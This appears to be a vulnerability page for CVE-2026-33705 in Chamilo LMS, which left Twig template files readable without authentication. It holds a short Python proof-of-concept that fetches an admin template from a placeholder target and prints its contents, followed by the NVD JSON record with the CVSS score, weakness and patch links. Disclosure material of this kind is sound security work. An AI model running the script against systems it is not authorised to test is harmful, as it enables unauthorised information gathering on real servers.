CVE-2026-33705

import requests def check_vulnerability(base_url): # Example target file path target_path = "/main/template/default/admin/layout.tpl" full_url = base_url + target_path try: # Send HTTP GET request without authentication response = requests.get(full_url, timeout=10) if response.status_code == 200: print(f"[+] Potential Vulnerability Found at: {full_url}") # Check if response contains typical template syntax if "{%" in response.text or "{{" in response.text: print("[+] Template syntax detected in response.") print("[+] Content snippet:") print(response.text[:200]) return True else: print(f"[-] Status Code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_vulnerability(target)

{"cve": {"id": "CVE-2026-33705", "sourceIdentifier": "[email protected]", "published": "2026-04-10T19:16:23.653", "lastModified": "2026-04-16T18:29:46.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Chamilo LMS is a learning management system. Prior to 1.11.38, Twig template files (.tpl) under /main/template/default/ are directly accessible without authentication via HTTP GET requests. These templates expose internal application logic, variable names, AJAX endpoint URLs, and admin panel structure. This vulnerability is fixed in 1.11.38."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-538"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.11.38", "matchCriteriaId": "A4D0C5D2-6FA0-4532-8E3D-4EA111A50621"}]}]}], "references": [{"url": "https://github.com/chamilo/chamilo-lms/commit/4efb5ee8ed849ca147ca1fe7472ef7b98db17bff", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-5wjg-8x28-px57", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}